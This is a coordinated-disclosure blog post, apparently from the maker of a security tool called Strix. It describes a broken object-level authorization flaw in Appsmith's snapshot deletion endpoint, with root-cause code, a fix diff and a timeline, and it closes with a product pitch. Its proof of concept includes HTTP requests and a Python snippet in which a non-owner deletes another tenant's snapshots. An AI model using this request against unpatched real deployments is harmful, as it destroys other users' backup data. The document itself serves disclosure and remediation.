April 12th, 2026

Uncovering a hidden BOLA in Appsmith's snapshot logic

Following our discovery of authentication bypass in etcd, we turned our attention to Appsmith, a popular open-source platform for building internal tools with ~40k stars on GitHub.

TL;DR

  • Strix found and verified a BOLA/IDOR in Appsmith’s snapshot deletion flow (GHSA-g2hc-wmw2-32jr).
  • Any authenticated user could delete another tenant’s snapshots by supplying a target applicationId.

Appsmith: Broken Object-Level Authorization (BOLA)

Appsmith is a popular open-source platform for building internal tools and custom portals.

Strix identified a BOLA/IDOR vulnerability within Appsmith's application snapshot system (GHSA-g2hc-wmw2-32jr). It discovered that the snapshot deletion endpoint accepted a user-controlled application identifier without properly validating that the authenticated user actually had access to that application.

The Impact:

An attacker with any authenticated account could delete the backup snapshots of applications they did not own. Because Application IDs (24-character hex strings) are trivially discoverable in the HTML source code or API traffic of public-facing applications, a malicious actor could easily scrape an ID and destroy another tenant's backup/restore points. This allows for cross-tenant sabotage, interrupting recovery workflows and destroying backup integrity.

ID Discoverability

While Application IDs are 24-character hex strings, they are still easy to obtain in real-world usage. Strix observed that IDs can be pulled from normal HTML source and routine background API traffic for published apps. In practice, that means the identifier is not a meaningful barrier for cross-tenant abuse if authorization is missing on the delete path.

How Strix Found It:

Strix analyzed the backend logic and realized the ApplicationSnapshotServiceCEImpl.deleteSnapshot method was directly deleting snapshot records by application ID without an authorization check.

Unlike the restoreSnapshot method, which correctly called applicationService.findById(..., applicationPermission.getEditPermission()) to verify edit rights, the delete path skipped this entirely. It just executed applicationSnapshotRepository.deleteAllByApplicationId().

1// delete path
2applicationSnapshotRepository.deleteAllByApplicationId();
3
4// restore path
5applicationService.findById(..., applicationPermission.getEditPermission());

To validate exploitability end-to-end, Strix generated a two-user PoC and reproduced the issue in a realistic tenant scenario.

Proof of Concept

Preconditions

  • Two authenticated users exist: User A (application owner) and User B (non-owner).
  • A valid User A applicationId is known from normal product usage.

Reproduction Flow (Generated by Strix)

  1. Authenticate as User A and create a snapshot with POST /api/v1/applications/snapshot/<APP_ID>.
  2. Confirm snapshot exists with GET /api/v1/applications/snapshot/<APP_ID> (updatedTime is non-null).
  3. Authenticate as User B and confirm lack of access:
    • POST /api/v1/applications/snapshot/<APP_ID> returns 404.
    • GET /api/v1/applications/export/<APP_ID> returns 404.
  4. As User B, call DELETE /api/v1/applications/snapshot/<APP_ID>.
  5. Observe delete succeeds with 200 and data: true.
  6. Re-check snapshot metadata and observe updatedTime: null.
1POST /api/v1/applications/snapshot/<APP_ID>
2X-Requested-By: Appsmith
3
4DELETE /api/v1/applications/snapshot/<APP_ID>
5X-Requested-By: Appsmith

Observed validation (sanitized):

  • User A could create a snapshot and saw updatedTime set.
  • User B could not create/export the target app (404) but could delete snapshot (200).
  • After delete, updatedTime became null.
1# exploit core: non-owner deletes owner snapshot
2r_delete_b = req(
3 "DELETE",
4 f"/api/v1/applications/snapshot/{app_id}",
5 cookies=cookies_b,
6 headers={"X-Requested-By": "Appsmith"},
7)
8print("User B delete snapshot:", r_delete_b.status_code)

Code Analysis

During root-cause analysis, Strix identified the vulnerable sink in: app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/ApplicationSnapshotServiceCEImpl.java

1@Override
2public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
3 return applicationSnapshotRepository
4 .deleteAllByApplicationId(branchedApplicationId)
5 .thenReturn(Boolean.TRUE);
6}

The endpoint was publicly reachable through: app/server/appsmith-server/src/main/java/com/appsmith/server/controllers/ce/ApplicationControllerCE.java

1@JsonView(Views.Public.class)
2@DeleteMapping("/snapshot/{branchedApplicationId}")
3public Mono<ResponseDTO<Boolean>> deleteSnapshotWithoutApplicationJson(@PathVariable String branchedApplicationId) {
4 return applicationSnapshotService
5 .deleteSnapshot(branchedApplicationId)
6 .map(isDeleted -> new ResponseDTO<>(HttpStatus.OK, isDeleted));
7}

Strix surfaced the fix pattern below to enforce object-level authorization before delete:

1- public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
2- return applicationSnapshotRepository
3- .deleteAllByApplicationId(branchedApplicationId)
4- .thenReturn(Boolean.TRUE);
5- }
6+ public Mono<Boolean> deleteSnapshot(String branchedApplicationId) {
7+ return applicationService
8+ .findById(branchedApplicationId, applicationPermission.getEditPermission())
9+ .switchIfEmpty(Mono.error(new AppsmithException(
10+ AppsmithError.NO_RESOURCE_FOUND, FieldName.APPLICATION, branchedApplicationId)))
11+ .flatMap(application -> applicationSnapshotRepository.deleteAllByApplicationId(application.getId()))
12+ .thenReturn(Boolean.TRUE);
13+ }

Remediation

Strix recommended:

  1. Enforce object-level authorization in snapshot deletion by resolving application access before delete.
  2. Align authorization checks across snapshot create/restore/delete paths.
  3. Add regression tests to ensure non-owners cannot delete another tenant's snapshots.
  4. Review whether unauthenticated snapshot metadata exposure is required for product behavior.

The Appsmith team quickly validated the issue and shipped a patch to enforce the getEditPermission() check.

Timeline

Initial Contact: On February 19, 2026, we submitted the report via Github Security Advisories.

March 19, 2026: Appsmith confirmed the vulnerability as a valid BOLA/IDOR issue, acknowledged the missing authorization check on deleteSnapshot, and confirmed a fix plan.

March 24, 2026: The advisory was published.

Conclusion

Strix found a BOLA/IDOR in Appsmith's snapshot deletion path, proved it with a two-user PoC, and gave the maintainers the exact sink and fix pattern needed to ship a patch.

These bugs were found where thousands of others missed them. Try Strix on your own apps now and see what it finds before attackers do.


Try it now →